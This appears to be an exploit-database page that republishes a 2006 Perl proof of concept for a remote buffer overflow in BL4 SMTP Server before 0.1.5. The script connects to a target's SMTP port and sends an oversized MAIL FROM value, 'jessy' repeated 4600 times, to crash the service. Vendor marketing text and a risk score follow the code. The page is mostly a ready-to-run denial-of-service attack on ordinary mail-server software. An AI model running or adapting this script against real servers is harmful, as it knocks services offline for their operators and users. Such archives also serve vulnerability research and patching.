Lucene search
K

BL4 SMTP Server < 0.1.5 - Remote Buffer Overflow PoC

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

BL4 SMTP Server Remote Buffer Overflow Po

Code

                                                #!/usr/bin/perl

use IO::Socket;
use Socket;

my($socket) = &#34;&#34;;


if($#ARGV &#60; 1 | $#ARGV &#62; 2) {usage()}

if($#ARGV &#62; 2) { $prt = $ARGV[1] } else { $prt = &#34;25&#34; };
$adr = $ARGV[0];
$prt = $ARGV[1];

$socket = IO::Socket::INET-&#62;new(Proto=&#62;&#34;tcp&#34;, PeerAddr=&#62;$adr,
PeerPort=&#62;$prt, Reuse=&#62;1) or die &#34;Error: cant connect to $adr:$prt\n&#34;;


        print &#34; -- Connecting To SMTP server at $adr port $prt ... \n&#34;;

        sleep(1);

        print $socket &#34;EHLO yahoo.com\r\n&#34; and print &#34; -- Sending Request to $adr .....\n&#34; or die &#34;Error : can&#39;t send Request\n&#34;;

        sleep(1);

        print $socket &#34;MAIL FROM:&#34; . &#34;jessy&#34; x 4600 . &#34;\r\n&#34; and print &#34; -- Sending Buffer to $adr .....\n&#34;;

        sleep(1);
        printf(&#34;[+]Ok!\n&#34;);
        printf(&#34;[+]Crash service.....\n&#34;);
        printf(&#34;[~]Done.\n&#34;);

        close($socket);


sub usage()
 {
 print &#34;\n=========================================\r\n&#34;;
 print &#34;     BL4&#39;s SMTP server Remote DOS \r\n&#34;;
 print &#34;=========================================\r\n&#34;;
 print &#34;       Bug Found by Dedi Dwianto \r\n&#34;;
 print &#34;    www.echo.or.id #e-c-h-o irc.dal.net \r\n&#34;;
 print &#34;      Echo Security Research Group \r\n&#34;;
 print &#34;=========================================\r\n&#34;;
 print &#34; Usage: perl bl4-explo.pl [target] [port] \r\n\n&#34;;
 exit();
 }

# milw0rm.com [2006-04-27]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
17